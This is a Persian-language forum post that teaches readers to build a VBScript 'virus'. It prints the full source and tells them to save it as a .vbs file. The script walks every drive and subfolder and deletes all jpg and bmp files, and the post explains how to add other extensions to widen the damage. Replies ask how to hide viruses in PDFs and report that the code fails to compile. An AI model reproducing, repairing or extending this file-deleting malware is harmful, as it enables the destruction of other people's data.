ايران ويج

منظور از این نوع ویروس ها،همان ویروس های vbs است.در این جا روش ساخت ویروسی به نام vbs.folder رو می دم.کارش اینه که هر فایل با هر فرمتی که می خواین رو(اگه اون فایل تو فولدری قرار داشته باشه و در هارد دیسک باشه)حذف می کنه.این ویروس بسیار شبیه ویروس Biosan است.البته باید بگم این ویروس از قابلیت های ویروس Biosan سوء استفاده کرده است.برای این کار notepad را باز کنید و کدهای زیر را درونش کپی کنید و با پسوند vbs ذخیره کنید



On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.is ready Then

folderlist(d.path&"\")

end if

Next

end sub

sub infectfiles(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

if (ext="jpg") or (ext="bmp") then

fso.deletefile(f1.path)

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next

end sub



به طور پیش فرض،این ویروس فایل های bmp و jpg ای را که اگر در هارد دیسک در فولدری قرار دارند،delete می کند.با توجه به خط 21،خودتان می توانید فرمت های دیگری را اضافه یا حذف کنید و کارایی ویروس را بالا ببرید.

چطوري ميشه ويروس رو توي فايل هاي pdf جاداد ؟

نوت پد هم خودش یه برنامست دیگه

چطور دلتون مياد اسم اينارو بزاريد ويروس.
يه خورده نامردي نيست؟
ميشه گفت بچه ويروس.

با سلام
دوست عزيز من اين ويروس را اجرا كردم اما اصلا هيچ كاري نكرد و فقط موقع كامپايل شده به اين صورت اعلام ايراد نمود نسبت به كامپايل شده برنامه
line:20
char:9
Error: Expected 'Then
code : 800A03f9
source: Microsft VBScript compilation error
ممنون مي شم اگه سورستو درست كني